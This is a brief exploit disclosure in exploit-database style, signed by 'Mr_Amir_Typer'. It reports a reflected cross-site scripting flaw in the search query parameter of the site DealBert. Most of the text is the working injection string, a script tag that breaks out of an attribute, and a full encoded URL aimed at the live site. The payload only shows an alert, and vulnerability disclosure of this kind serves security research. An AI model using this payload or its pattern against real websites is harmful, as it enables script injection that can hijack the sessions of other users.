########################## # Exploit Title: DealBert Cross Site Scripting # Date: 2024/02/28 # Discovered By: Mr_Amir_Typer # Tested on : Win11, Win10, Win8, Kali Linux ########################## # Vulnerability is the site search field query parameter have bug! Inject this code after query= "><script>alert("XSS%C2%A0vulnerability%C2%A0found%C2%A0by%C2%A0Mr_Amir_Typer")</script> ########################## # Address: https://dealbert.net/?%22%3E%3Cscript%3Ealert(%22XSS%C2%A0vulnerability%C2%A0found%C2%A0by%C2%A0Mr_Amir_Typer%22)%3C/script%3E ############################# # Discovered By: Mr_Amir_Typer